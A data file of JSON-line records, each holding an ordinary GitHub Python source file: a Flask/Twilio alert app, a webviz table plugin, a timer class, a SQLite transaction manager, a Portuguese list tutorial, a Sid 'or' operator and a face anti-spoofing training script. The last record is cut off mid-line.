+{"seq_id":"38394963903","text":"import functools\nimport json\nimport logging\nimport os\nfrom urllib.parse import quote\n\nimport requests\nfrom flask import Flask, request\nfrom flask import send_from_directory, render_template\nfrom twilio.rest import Client\nfrom twilio.twiml.messaging_response import MessagingResponse\nfrom twilio.twiml.voice_response import Gather, VoiceResponse\n\nTWILIO_ACCOUNT = os.getenv('TWILIO_ACCOUNT')\nTWILIO_AUTH = os.getenv('TWILIO_AUTH')\n\n\n@functools.lru_cache(maxsize=1)\ndef get_twilio_client():\n return Client(TWILIO_ACCOUNT, TWILIO_AUTH)\n\n\nTWILIO_FROM_PHONE = os.getenv('TWILIO_FROM_PHONE', '+441803500679')\n\nSMS_HISTORY = {}\nMSG_STORE = {}\n\nLOGREADER_ADDRESS = os.environ.get(\"LOG_PARSER_ADDRESS\", \"localhost\")\nLOGREADER_PORT = os.environ.get(\"LOG_PARSER_PORT\", 8888)\n\napp = Flask(__name__)\n\n\ndef style_from_state(state):\n if state == \"to_manually_dispatch\":\n return \"danger\"\n elif state == \"to_acknowledge\":\n return \"warning\"\n elif state == \"in_progress\":\n return \"info\"\n else:\n return \"success\"\n\n\ndef style_to_text(state):\n if state == \"to_manually_dispatch\":\n return \"to be dispatched\"\n elif state == \"to_acknowledge\":\n return \"to be acknowledged\"\n elif state == \"in_progress\":\n return \"in progress\"\n else:\n return state.replace(\"_\", \" \")\n\n\n@app.route('/static/')\ndef serve_static(path):\n return send_from_directory('static', path)\n\n\n@app.route(\"/set_manual/\", methods=['POST'])\ndef manually_checkbock_toggled(enabled):\n url = \"http://{}:{}/manual_mode\".format(LOGREADER_ADDRESS, LOGREADER_PORT)\n print(\"Sending request to\", url, \" with manual_mode:\", enabled)\n response = requests.post(url, {\"manual_mode\": enabled})\n return \"Success\"\n\n\n@app.route(\"/\")\n@app.route('/alerts/')\ndef alerts():\n url = \"http://{}:{}/get_all\".format(LOGREADER_ADDRESS, LOGREADER_PORT)\n try:\n response = requests.get(url)\n except requests.exceptions.ConnectionError as e:\n return render_template('alerts.html', error=True, message=\"An error occourred\")\n else:\n alerts = list(response.json().values())\n for alert in alerts:\n if \"INTRUDER\" in alert[\"label\"]:\n alert[\"isIntruder\"] = True\n if \"ARMED\" in alert[\"label\"]:\n alert[\"isArmed\"] = True\n if \"SENSOR\" in alert[\"name\"]:\n alert[\"isSensor\"] = True\n\n alert[\"style\"] = style_from_state(alert[\"state\"])\n alert[\"state_text\"] = style_to_text(alert[\"state\"])\n return render_template('alerts.html', error=False, alerts=alerts, teams=[1,2,3,4])\n\n\n@app.route('/alert/')\ndef alert(id):\n url = \"http://{}:{}/get_single?uuid={}\".format(LOGREADER_ADDRESS, LOGREADER_PORT, id)\n try:\n response = requests.get(url)\n except requests.exceptions.ConnectionError as e:\n return render_template('alerts.html', error=True, message=e.response.text)\n else:\n return render_template('alert.html', error=False, alert=response.json(), id=id)\n\n\n@app.route('/teams_or_rangers/')\ndef teams_or_rangers():\n return render_template('teams_or_rangers.html')\n\n\n@app.route('/teams/')\ndef teams():\n return render_template('teams.html')\n\n\n@app.route('/team/')\ndef team(name):\n return render_template('team.html', name=name)\n\n\n@app.route('/rangers/')\ndef rangers():\n lone = {'name': 'Lone'}\n texas = {'name': 'Texas'}\n power = {'name': 'Power'}\n lone1 = {'name': 'John'}\n texas1 = {'name': 'Jack'}\n power1 = {'name': 'Sophie'}\n lone2 = {'name': 'Lone'}\n texas2 = {'name': 'Texas'}\n power2 = {'name': 'Power'}\n return render_template('rangers.html', rangers=[lone, texas, power, lone1, texas1, power1, lone2, texas2, power2])\n\n\n@app.route('/ranger/')\ndef ranger(name):\n return render_template('ranger.html', name=name)\n\n\n@app.route('/')\ndef hello():\n return 'SmartAlert'\n\n\n# TWILIO SMS SERVICE\n\n@app.route('/sms', methods=['POST'])\ndef sms():\n msg, to, uuid = get_contact_user()\n SMS_HISTORY[to] = uuid\n body = '''{}\nTEXT 1 to ACCEPT!'''.format(msg)\n message = get_twilio_client().messages.create(to=to, from_=TWILIO_FROM_PHONE, body=body)\n call_id = voice_call()\n return json.dumps({'message': message.sid, 'call': call_id})\n\n\ndef get_contact_user():\n uuid, to, msg = request.form['uuid'], request.form['to'], request.form['msg']\n if to.startswith('00'):\n to = '+{}'.format(to[2:])\n return msg, to, uuid\n\n\n@app.route(\"/sms_respond\", methods=['POST'])\ndef sms_reply():\n body = request.form['Body']\n from_ = request.form['From']\n uuid = SMS_HISTORY.get(from_)\n app.logger.info('got response {} {} {}'.format(uuid, from_, body))\n\n if uuid is not None and body:\n requests.post('http://localhost:8888', data={'uuid': uuid,\n \"old_state\": 'to_acknowledge',\n \"new_state\": 'in_progress'})\n\n resp = MessagingResponse()\n resp.message(accept_alert(uuid))\n return str(resp)\n\n return None\n\n\n@app.route(\"/get_single\", methods=['GET'])\ndef get_status():\n uuid = request.args.get('uuid')\n response = requests.get(\"http://{}:{}/get_single\".format(LOGREADER_ADDRESS, LOGREADER_PORT), data={'uuid': uuid})\n return json.dumps(response.json())\n\ndef accept_alert(uuid):\n return '{} ACCEPTED'.format(uuid)\n\n\n@app.route(\"/voice_respond\", methods=['POST'])\ndef voice_call():\n msg, to, uuid = get_contact_user()\n MSG_STORE[uuid, to] = msg\n url = \"{}/voice_handle?uuid={}&to={}\".format('http://precocial-tang-6014.dataplicity.io',\n quote(uuid),\n quote(to))\n app.logger.warn('{} - {} - {} at {}'.format(uuid, to, msg, url))\n call = get_twilio_client().calls.create(\n to=to,\n from_=TWILIO_FROM_PHONE,\n url=url\n )\n return call.sid\n\n\n@app.route(\"/voice_handle\", methods=['GET', 'POST'])\ndef voice_handle():\n uuid, to = request.args.get('uuid'), request.args.get('to')\n resp = VoiceResponse()\n if 'Digits' in request.values:\n choice = request.values['Digits']\n if choice == '1':\n resp.say('Alert accepted!')\n get_twilio_client().messages.create(to=to, from_=TWILIO_FROM_PHONE, body=accept_alert(uuid))\n return str(resp)\n elif choice == '2':\n resp.say('Try again!')\n return str(resp)\n else:\n # If the caller didn't choose 1 or 2, apologize and ask them again\n resp.say(\"Sorry, I don't understand that choice.\")\n gather = Gather(num_digits=1)\n body = '''{}, press 1 to accept!'''.format(MSG_STORE[uuid, to])\n gather.say(body)\n resp.append(gather)\n resp.redirect('/voice_respond', method='POST')\n return str(resp)\n\n\n@app.errorhandler(500)\ndef server_error(e):\n # Log the error and stacktrace.\n logging.exception('An error occurred during a request. {}'.format(e))\n return 'An internal error occurred.', 500\n\n\napp.logger.addHandler(logging.StreamHandler())\napp.logger.setLevel(logging.INFO)\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"vittorioromeo/zoohackathon2017","sub_path":"ui-flask/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"28937238720","text":"import base64\nfrom pathlib import Path\nfrom typing import List, Optional\n\nimport pandas as pd\nfrom dash import dash_table, Dash\n\nfrom .. import WebvizPluginABC, EncodedFile\nfrom ..webviz_store import webvizstore\nfrom ..common_cache import CACHE\n\n\nclass DataTable(WebvizPluginABC):\n \"\"\"Adds a table to the webviz instance, using tabular data from a provided csv file.\nIf feature is requested, the data could also come from a database.\n\n---\n\n* **`csv_file`:** Path to the csv file containing the tabular data. Either absolute \\\n path or relative to the configuration file.\n* **`sorting`:** If `True`, the table can be sorted interactively based \\\n on data in the individual columns.\n* **`filtering`:** If `True`, the table can be filtered based on values in the \\\n individual columns.\n* **`pagination`:** If `True`, only a subset of the table is displayed at once. \\\n Different subsets can be viewed from 'previous/next' buttons\n\"\"\"\n\n def __init__(\n self,\n app: Dash,\n csv_file: Path,\n sorting: bool = True,\n filtering: bool = True,\n pagination: bool = True,\n ):\n\n super().__init__()\n\n self.csv_file = csv_file\n self.df = get_data(self.csv_file)\n self.sorting = sorting\n self.filtering = filtering\n self.pagination = pagination\n\n self.set_callbacks(app)\n\n def add_webvizstore(self) -> List[tuple]:\n return [(get_data, [{\"csv_file\": self.csv_file}])]\n\n @property\n def layout(self) -> dash_table.DataTable:\n return dash_table.DataTable(\n columns=[{\"name\": i, \"id\": i} for i in self.df.columns],\n data=self.df.to_dict(\"records\"),\n sort_action=\"native\" if self.sorting else \"none\",\n filter_action=\"native\" if self.filtering else \"none\",\n page_action=\"native\" if self.pagination else \"none\",\n )\n\n def set_callbacks(self, app: Dash) -> None:\n @app.callback(self.plugin_data_output, self.plugin_data_requested)\n def _user_download_data(data_requested: Optional[int]) -> Optional[EncodedFile]:\n return (\n {\n \"filename\": \"data-table.csv\",\n \"content\": base64.b64encode(\n get_data(self.csv_file).to_csv(index=False).encode()\n ).decode(\"ascii\"),\n \"mime_type\": \"text/csv\",\n }\n if data_requested\n else None\n )\n\n\n@CACHE.memoize()\n@webvizstore\ndef get_data(csv_file: Path) -> pd.DataFrame:\n return pd.read_csv(csv_file)\n","repo_name":"equinor/webviz-config","sub_path":"webviz_config/generic_plugins/_data_table.py","file_name":"_data_table.py","file_ext":"py","file_size_in_byte":2642,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"82"}
+{"seq_id":"14509749209","text":"import threading\nimport time\n\n\nclass RepeatedTimer:\n def __init__(self, interval, function, *args, **kwargs):\n self._timer = None\n self.interval = interval\n self.function = function\n self.args = args\n self.kwargs = kwargs\n self.is_running = False\n self.start()\n\n def start(self):\n if self.is_running:\n return\n self.is_running = True\n threading.Thread(target=self._run).start()\n\n def stop(self):\n self.is_running = False\n\n def _run(self):\n old_time = time.perf_counter_ns()\n while True:\n new_time = time.perf_counter_ns()\n if not self.is_running:\n break\n\n if new_time - old_time > self.interval*1000000000:\n self.function(*self.args, **self.kwargs)\n old_time = new_time\n\n time.sleep(0.001)\n\n\n","repo_name":"Tobias-Glauser/PO-ELECTRO","sub_path":"timerV2.py","file_name":"timerV2.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"4936289379","text":"# ======================================================================\n# https://rafatieppo.github.io/\n# 13-06-2020\n# file to manage transactions\n# ======================================================================\n\nclass managtransac:\n def __init__(self, connection):\n self.connection = connection\n\n def find_byid(self, id_trans):\n connection = self.connection\n self.id_trans = id_trans\n with connection:\n cursor = connection.cursor()\n query = \"SELECT * FROM transacao WHERE transacao_id=?\"\n result = cursor.execute(query, (id_trans,))\n row = result.fetchone()\n if row is not None:\n return {'transacao': {'id': row[0], 'tipo': row[1], 'conta':row[3]}}\n else:\n return {'transacao': {'id': [-99], 'tipo': [-99], 'conta': [-99]}}\n print('Transacao ' + str(id_trans) + ' nao existe')\n\n def insert(self, tipo_id, data, conta_id, categoria_id,\n subcategoria_id, valor, obs):\n connection = self.connection\n with connection:\n cursor = connection.cursor()\n if tipo_id == 1:\n valor = valor * -1\n query = \"INSERT INTO transacao VALUES (NULL, ?,?,?,?,?,?,?);\"\n cursor.execute(query, (tipo_id, data, conta_id,\n categoria_id, subcategoria_id, valor, obs,))\n connection.commit()\n print('Transacao' + 'registrada com sucesso')\n\n def delete(self, id_trans, conta):\n contafound = self.find_byid(id_trans)\n print(contafound['transacao']['conta'])\n print('conta digitada é ', str(conta) + 'e conta encontrada é ' + str(contafound['transacao']['conta']))\n if str(contafound['transacao']['conta']) == str(conta):\n connection = self.connection\n with connection:\n cursor = connection.cursor()\n query = \"DELETE FROM transacao WHERE transacao_id=?;\"\n cursor.execute(query, (id_trans,))\n connection.commit()\n print('Transacao ' + str(id_trans) + ' excluida com sucesso')\n else:\n print('Transacao ' + str(id_trans) + ' nao existe ou não corresponde com a conta')\n","repo_name":"rafatieppo/lucycashflow","sub_path":"models/managtransac.py","file_name":"managtransac.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"42074574725","text":"# Declarar uma lista (array)\n\narray = [] # Vazio\n\narray = [1, 2, 3, 4, 5] # Com Valores\n\nprint(array)\nprint(array[3])\n\narray.append(10) # Adiciona o elemento na ultima posição\nprint(array)\n\narray.insert(0, 'Cu') # Adiciona no indice 0 o parametro dps da virgula\nprint(array)\n\ndel array[4] # Deleta o indice 4\narray.pop(4) # Deleta o indice 4\n\nif 'Cu' in array: # Verifica se o valor passado está na lista\n array.remove('Cu') # Remove o valor da lista\n\narray.pop() # Elimina o ultmo elemento da lista\n\nvalores = list(range(4, 11)) # list() cria uma lista\n\nvalores.sort() # Ordena os valores\n\nvalores.sort(reverse=True) # Ordena os valores na ordem reversa\n\nprint(len(valores)) #Retorna quantos elementos estão na lista\n\nfor i,v in enumerate(valores):\n print(i,v)\n \n\na = [1,2,3,4]\nb = a # vincula o B ao A, se mudar o B o A muda e vice-versa = [:] não vincula, somente passa os valores\nprint(a)\nprint(b)\nb[2] = 6\nprint(a)\nprint(b)\n","repo_name":"LeonardoSextare/Curso-Python","sub_path":"Curso em Video - Guanabara/Mundo 3/Aula 17 - Listas.py","file_name":"Aula 17 - Listas.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"20662532499","text":"from typing import List\n\nfrom spil.conf import sip, ors\nfrom spil.sid.core import query_helper\n\n\ndef execute(sids: List[str]) -> List[str]:\n \"\"\"\n Runs or_op (the \"or operator\") on a list of Sids.\n\n Args:\n sids: a list of Sid strings to edit\n\n Returns: the list of Sid strings, edited\n \"\"\"\n result = []\n for sid in sids:\n result.extend(or_op(sid))\n\n return result\n\n\ndef or_op(sid: str) -> List[str]:\n \"\"\"\n or_op (the \"or operator\") transforms a string containing the \"or\" sign\n into a list of strings, each one individually representing the options without the or.\n\n Note: the ors sign can be configured, it is called \"ors\" in the config.\n Typically it is a comma \",\".\n\n Example:\n\n >>> or_op('bla/s/bla/A,B/**/one,two?test=X,Y,Z')\n ['bla/s/bla/A/**/one?test=X', 'bla/s/bla/A/**/one?test=Y', 'bla/s/bla/A/**/one?test=Z', 'bla/s/bla/B/**/one?test=X', 'bla/s/bla/B/**/one?test=Y', 'bla/s/bla/B/**/one?test=Z', 'bla/s/bla/A/**/two?test=X', 'bla/s/bla/A/**/two?test=Y', 'bla/s/bla/A/**/two?test=Z', 'bla/s/bla/B/**/two?test=X', 'bla/s/bla/B/**/two?test=Y', 'bla/s/bla/B/**/two?test=Z']\n\n Args:\n sid: a sid string\n\n Returns: a list of Sid strings\n \"\"\"\n sid = str(sid)\n if not sid.count(ors): # no \"or\" operators in sid.\n return [sid]\n\n if sid.count(\"?\"): # sid contains Query ending. We put it aside, and later append it back\n sid, query = sid.split(\"?\", 1)\n else:\n query = \"\"\n\n sids = or_on_path(sid)\n\n result = []\n if query:\n uris = or_on_query(query)\n for s in sids:\n for u in uris:\n result.append(\"{}?{}\".format(s, u))\n else:\n result = sids\n\n return result\n\n\ndef or_on_path(sid):\n \"\"\"\n Applies the or_op on the path part of the Sid.\n\n Example:\n\n >>> or_on_path('bla/s/bla/A,B,C/**/one,two,three')\n ['bla/s/bla/A/**/one', 'bla/s/bla/B/**/one', 'bla/s/bla/C/**/one', 'bla/s/bla/A/**/two', 'bla/s/bla/B/**/two', 'bla/s/bla/C/**/two', 'bla/s/bla/A/**/three', 'bla/s/bla/B/**/three', 'bla/s/bla/C/**/three']\n\n Args:\n sid: sid string\n\n Returns: list of sid string\n \"\"\"\n\n _start = \"--start--\"\n\n parts = sid.split(sip)\n\n found = [_start]\n for part in parts:\n current = found.copy()\n if ors in part:\n for alt in part.split(ors):\n alt = alt.strip()\n for sid in current.copy():\n new = sid + sip + alt\n # print 'replace', sid, ' --> ', new, ' -- ', sid in found, '?'\n #\n if sid in found:\n found[found.index(sid)] = new # replace (of the first element)\n else:\n found.append(new) # replace (of the first element)\n\n # found.remove()\n else:\n for sid in found.copy():\n new = sid + sip + part\n # print new\n found[found.index(sid)] = new # replace (of the first element)\n\n result = []\n for sid in found:\n if not sid in result:\n result.append(sid.replace(_start + sip, \"\"))\n\n # no type check needed\n return result\n\n\ndef or_on_query(query):\n \"\"\"\n Applies the or operator to values of the query, creating unique uris without the operator.\n\n Example:\n\n >>> or_on_query('titi=tata,blip&roger=vadim,bom,tom, tata')\n ['titi=tata&roger=vadim', 'titi=blip&roger=vadim', 'titi=tata&roger=bom', 'titi=blip&roger=bom', 'titi=tata&roger=tom', 'titi=blip&roger=tom', 'titi=tata&roger=tata', 'titi=blip&roger=tata']\n\n Args:\n query:\n\n Returns:\n\n \"\"\"\n query_dict = query_helper.to_dict(query)\n result = [query_dict.copy()]\n for key, value in query_dict.items():\n if value.count(ors):\n new_result = []\n for i in value.split(ors):\n for d in result.copy():\n new_dict = d.copy()\n new_dict[key] = i\n new_result.append(new_dict)\n result = new_result\n # print(result)\n\n return [query_helper.to_string(d) for d in result]\n\n\nif __name__ == \"__main__\":\n\n import doctest\n\n doctest.testmod()\n","repo_name":"MichaelHaussmann/spil","sub_path":"spil/sid/read/unfolders/or_op.py","file_name":"or_op.py","file_ext":"py","file_size_in_byte":4254,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"82"}
+{"seq_id":"23846279305","text":"import os\nfrom datetime import datetime\nfrom sklearn.model_selection import StratifiedKFold\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom ray import tune\nfrom collections import Counter\n# from imblearn.over_sampling import RandomOverSampler\nfrom Antispoofing.AntispoofHelpers.antispoof_model_helper import create_vit_b32\nfrom Antispoofing.AntispoofHelpers.dataset_helper import get_random_selection_on_aug_category, get_antispoof_frame, \\\n get_train_validation_generator, get_test_generator, Y_COL, Z_COL, X_COL, test_split\nfrom Antispoofing.AntispoofHelpers.spoof_metric import determine_spoof_metrics, PROTOCOL_COL\nimport os\nos.environ['TUNE_RESULT_DELIM'] = '/'\nAUG_PERCENTAGES = [0.05,0.1,0.2, 0.30]\n\ndef initialise_tf():\n import tensorflow as tf\n try:\n # fix memory issues\n gpus = tf.config.experimental.list_physical_devices('GPU')\n for gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\n except:\n pass\n\ndef combine_with_augmentation(train_frame, aug_frame, aug_root, categories, aug_percentage, stratified_name_list_func=None, use_last_only=False, must_remove_normal=True, must_use_normal_only=False): # determine how many frames are in the dataset\n total_frames = train_frame.shape[0]\n # (Itot / aug %) / (1 - aug %)\n temp = []\n for cat in categories:\n if \"-\" in cat:\n temp2 = cat.split('-')\n for t in temp2:\n temp.append(t)\n else:\n temp.append(cat)\n categories = temp\n\n\n tempcategories = [] #['ASUS', 'IP7P', 'IPP2017', 'SGS8']\n for cat in categories:\n if cat == \"R\":\n tempcategories.append('ASUS')\n tempcategories.append('IP7P')\n tempcategories.append('IPP2017')\n tempcategories.append('SGS8')\n elif \"N\" in cat:\n if not must_remove_normal:\n tempcategories.append(cat)\n else:\n tempcategories.append(cat)\n\n categories = tempcategories\n\n if must_use_normal_only:\n tempcategories = []\n for cat in categories:\n if \"N\" in cat:\n tempcategories.append(cat)\n categories = tempcategories\n\n if use_last_only:\n num_categories = 1\n else:\n num_categories = len(categories)\n num_augmentation_files = round(((total_frames * aug_percentage)/ (1 - aug_percentage))/num_categories)\n # file_path, ground_truth df\n # to augment with only N\n random_aug_frame = get_random_selection_on_aug_category(aug_frame, categories, aug_root, num_augmentation_files, seed=None, stratified_name_list_func=stratified_name_list_func, use_last_only=use_last_only)\n return random_aug_frame\n\ndef video_based_results(single_frame, protocol_name, fold_index,protocol_number, fold_save_metrics_root, save_metric_name):\n temp_single = single_frame.copy()\n def categorise_video(row):\n return os.path.basename(os.path.dirname(row['file_paths']))\n temp_single['video_name'] = temp_single.apply(lambda row: categorise_video(row), axis=1)\n video_names = temp_single['video_name'].unique()\n video_list = []\n for name in video_names:\n temp_df = temp_single.query(f\"video_name == '{name}'\")\n real = 0\n spoof = 1\n spoof_pred_count = temp_df[(temp_df.predicted == 1)].count()[\"predicted\"]\n real_pred_count = temp_df[(temp_df.predicted == 0)].count()[\"predicted\"]\n if spoof_pred_count > real_pred_count:\n predicted = 1\n else:\n predicted = 0\n ground_truth = temp_df['ground_truth'].tolist()[0]\n video_list.append({\"video_name\": name, f'spoof({spoof})_pred_count': spoof_pred_count, f'real({real}_pred_count': real_pred_count, \"predicted\": predicted, \"ground_truth\": ground_truth})\n multi_frame = pd.DataFrame.from_dict(video_list)\n multi_frame.to_csv(os.path.join(fold_save_metrics_root, f\"test_{protocol_name}_multi_frame_results.csv\"), index=False)\n predicted = multi_frame['predicted'].tolist()\n ground_truth = multi_frame['ground_truth'].tolist()\n metric_dic = determine_spoof_metrics(ground_truth, predicted, protocol_name, fold_index,protocol_number, save_dir=os.path.join(fold_save_metrics_root, f\"{save_metric_name}_{protocol_name}_Multi_Metrics\"), must_show=False)\n metric_dic = dict((\"{}_{}\".format(\"Multi\",k),v) for k,v in metric_dic.items())\n return metric_dic\n\n\ndef antispoof(config):\n use_hsv = config['use_hsv']\n must_remove_normal = config['must_remove_normal']\n aug_after_split = config['aug_after_split']\n must_use_normal_only = config['must_use_normal_only']\n initialise_tf()\n import tensorflow as tf\n tf.keras.backend.set_image_data_format('channels_last')\n include_traditional_aug = config['include_traditional_aug']\n stratified_name_list_func=config['stratified_name_list_func']\n n_folds = config['n_folds']\n current_fold = config['current_fold']\n dataset_root = config['dataset_root']\n original_dataset_root = config['original_dataset_root']\n train_subject_number = config[\"train_subject_number\"]\n test_subject_number = config[\"test_subject_number\"]\n get_train_frame_func = config[\"get_train_frame_func\"]\n get_stratified_name_col_func = config[\"get_stratified_name_col_func\"]\n get_protocol_frame_dic_func = config[\"get_protocol_frame_dic_func\"]\n process_dataset_metrics_func = config[\"process_dataset_metrics_func\"]\n repeat_number = config[\"HP_REPEAT\"]\n # get the config variables\n attack_type_combination = config['HP_COMB']\n aug_percentage = config['HP_AUG_PER']\n use_last_only = config['use_last_only']\n\n run_folder = f\"{attack_type_combination}_aug_{aug_percentage}_run_{repeat_number}\"\n epochs = config['epochs']\n save_metrics_root = os.path.join(config['save_metrics_root'], run_folder)\n save_checkpoints_root = os.path.join(config['save_checkpoints_root'], run_folder)\n save_tb_root = os.path.join(config['save_tb_root'], run_folder)\n\n experiment_dirs = [save_metrics_root, save_checkpoints_root, save_tb_root]\n # create the directories\n for _dir in experiment_dirs:\n if not os.path.exists(_dir):\n os.makedirs(_dir)\n\n dataset_name = config['dataset_name']\n dataset_csv_name = config['dataset_csv_name']\n aug_root = config['aug_root']\n aug_csv = config['aug_csv']\n\n combinations = []\n # split the attack type combination\n if \",\" in attack_type_combination:\n attack_type_combination = attack_type_combination.split(\",\")\n for comb in attack_type_combination:\n combinations.append(comb.split(\"@\")[1])\n elif \"-\" in attack_type_combination:\n combinations.append(attack_type_combination.split(\"@\")[1])\n\n else:\n combinations.append(attack_type_combination.split(\"@\")[1])\n # get the train dataset frame\n train_frame = get_train_frame_func(dataset_root, dataset_csv_name, combinations, train_subject_number)\n\n stratified_name = get_stratified_name_col_func(combinations)\n train_frame = get_antispoof_frame(train_frame, dataset_root, stratified_name=stratified_name)\n\n\n\n sss = StratifiedKFold(n_splits=n_folds, shuffle=True, random_state=0)\n\n\n if aug_after_split:\n if Z_COL in train_frame.columns:\n splits = sss.split(train_frame[X_COL], train_frame[Z_COL])\n else:\n splits = sss.split(train_frame[X_COL], train_frame[Y_COL])\n\n for i in range(n_folds):\n train_index, val_index = next(splits)\n if i == current_fold:\n break\n\n\n\n fold_index = str(current_fold)\n fold_save_metrics_root = os.path.join(save_metrics_root, fold_index)\n fold_save_checkpoints_root = os.path.join(save_checkpoints_root, fold_index)\n fold_save_tb_root = os.path.join(save_tb_root, fold_index)\n\n experiment_dirs = [fold_save_metrics_root, fold_save_checkpoints_root, fold_save_tb_root]\n # create the directories\n for _dir in experiment_dirs:\n if not os.path.exists(_dir):\n os.makedirs(_dir)\n fold_train_frame = train_frame.iloc[train_index]\n fold_val_frame = train_frame.iloc[val_index]\n\n # add the augmentation files to the train frame\n if aug_percentage > 0:\n aug_frame = pd.read_csv(os.path.join(aug_root, aug_csv))\n aug_frame = combine_with_augmentation(fold_train_frame, aug_frame, aug_root, combinations, aug_percentage,\n stratified_name_list_func, use_last_only, must_remove_normal, must_use_normal_only)\n fold_train_frame = pd.concat([fold_train_frame, aug_frame])\n else:\n # add the augmentation files to the train frame\n if aug_percentage > 0:\n aug_frame = pd.read_csv(os.path.join(aug_root, aug_csv))\n aug_frame = combine_with_augmentation(train_frame, aug_frame, aug_root, combinations, aug_percentage,\n stratified_name_list_func, use_last_only, must_remove_normal,must_use_normal_only)\n train_frame = pd.concat([train_frame, aug_frame])\n\n if Z_COL in train_frame.columns:\n splits = sss.split(train_frame[X_COL], train_frame[Z_COL])\n else:\n splits = sss.split(train_frame[X_COL], train_frame[Y_COL])\n\n for i in range(n_folds):\n train_index, val_index = next(splits)\n if i == current_fold:\n break\n\n fold_index = str(current_fold)\n fold_save_metrics_root = os.path.join(save_metrics_root, fold_index)\n fold_save_checkpoints_root = os.path.join(save_checkpoints_root, fold_index)\n fold_save_tb_root = os.path.join(save_tb_root, fold_index)\n\n experiment_dirs = [fold_save_metrics_root, fold_save_checkpoints_root, fold_save_tb_root]\n # create the directories\n for _dir in experiment_dirs:\n if not os.path.exists(_dir):\n os.makedirs(_dir)\n fold_train_frame = train_frame.iloc[train_index]\n fold_val_frame = train_frame.iloc[val_index]\n\n\n\n if save_metrics_root is not None:\n fold_train_frame.to_csv(f\"{save_metrics_root}/fold_{fold_index}_train_frame.csv\", index=False)\n fold_val_frame.to_csv(f\"{save_metrics_root}/fold_{fold_index}_val_frame.csv\", index=False)\n test_split(fold_train_frame, fold_val_frame, X_COL)\n train_generator, valid_generator = get_train_validation_generator(fold_train_frame, fold_val_frame, use_hsv=use_hsv)\n\n # create the model\n model = create_vit_b32(include_traditional=include_traditional_aug)\n learning_rate = 1e-4\n weight_decay = 1e-5\n\n optimiser = tf.keras.optimizers.Adam(learning_rate=learning_rate)#, beta_2=weight_decay)\n\n model.compile(optimizer=optimiser, loss=tf.keras.losses.CategoricalCrossentropy(label_smoothing=0.2),\n metrics=['accuracy'])\n # For future work\n # reduce_lr = tf.keras.callbacks.ReduceLROnPlateau(monitor = 'val_accuracy',\n # factor = 0.2,\n # patience = 2,\n # verbose = 1,\n # min_delta = 1e-4,\n # min_lr = 1e-6,\n # mode = 'max')\n earlystopping = tf.keras.callbacks.EarlyStopping(monitor='val_loss',\n min_delta=1e-4,\n patience=15,\n mode='min',\n restore_best_weights=True,\n verbose=1)\n checkpoint_path = os.path.join(fold_save_checkpoints_root, \"best.ckpt\")\n checkpointer = tf.keras.callbacks.ModelCheckpoint(filepath=checkpoint_path,\n monitor='val_loss',\n verbose=1,\n save_best_only=True,\n save_weights_only=True,\n mode='min')\n tensorboard_callback = tf.keras.callbacks.TensorBoard(\n log_dir=fold_save_tb_root, histogram_freq=1, update_freq='epoch')\n callbacks = [earlystopping, checkpointer, tensorboard_callback] # ,reduce_lr ]\n\n train_step_size = train_generator.n // train_generator.batch_size\n validation_step_size = valid_generator.n // valid_generator.batch_size\n history = model.fit(x=train_generator,\n steps_per_epoch=train_step_size,\n validation_data=valid_generator,\n validation_steps=validation_step_size,\n epochs=epochs,\n callbacks=callbacks)\n\n loss = history.history['loss']\n val_loss = history.history['val_loss']\n\n epochs = range(len(loss))\n with plt.ioff():\n plt.figure()\n\n plt.plot(epochs, loss, 'b', label='Training Loss')\n plt.plot(epochs, val_loss, 'r', label='Validation Loss')\n plt.title('Training and validation loss')\n plt.xlabel(\"Epochs\")\n plt.ylabel(\"Loss\")\n plt.legend()\n plt.savefig(os.path.join(fold_save_metrics_root, f\"fold_{fold_index}_train_history.png\"))\n\n print(\"restoring top model\")\n # load best model\n latest = tf.train.latest_checkpoint(fold_save_checkpoints_root)\n print(latest)\n model = create_vit_b32()\n model.load_weights(latest)\n\n save_metric_name = \"\"\n lookup_dataset_root =\"\"\n if original_dataset_root is None:\n protocol_frame_dic = get_protocol_frame_dic_func(dataset_root, dataset_csv_name, combinations, test_subject_number)\n lookup_dataset_root = dataset_root\n else:\n protocol_frame_dic = get_protocol_frame_dic_func(original_dataset_root, dataset_csv_name, combinations, test_subject_number)\n lookup_dataset_root = original_dataset_root\n if test_subject_number is not None:\n save_metric_name = f\"S{test_subject_number}\"\n for protocol_name, protocol_number_frame in protocol_frame_dic.items():\n protocol_number = protocol_number_frame[\"protocol_number\"]\n protocol_frame = protocol_number_frame[\"frame\"]\n test_frame = get_antispoof_frame(protocol_frame, lookup_dataset_root)\n # test if there is bias\n test_split(fold_train_frame, test_frame, X_COL)\n\n test_generator = get_test_generator(test_frame, use_hsv=use_hsv)\n test_step_size = test_generator.n // test_generator.batch_size\n predicted = np.argmax(model.predict(test_generator, test_step_size, verbose=1), axis=1)\n ground_truth = test_generator.classes\n temp_dic = {\"file_paths\": test_generator.filepaths, \"ground_truth\": ground_truth, \"predicted\": list(predicted)}\n df = pd.DataFrame.from_dict(temp_dic, orient='index').transpose()\n df.to_csv(os.path.join(fold_save_metrics_root, f\"test_{protocol_name}_results.csv\"), index=False)\n metric_dic = determine_spoof_metrics(ground_truth, predicted, protocol_name, fold_index,protocol_number, save_dir=os.path.join(fold_save_metrics_root, f\"{save_metric_name}_{protocol_name}_Metrics\"), must_show=False)\n multi_metric_dic = video_based_results(df, protocol_name, fold_index,protocol_number, fold_save_metrics_root, save_metric_name)\n metric_dic.update(multi_metric_dic)\n if config['is_ray']:\n tune.report(**metric_dic)\n\n\ndef start_antispoofing(dataset_root, dataset_csv_name, aug_root, aug_csv, save_metrics_root, 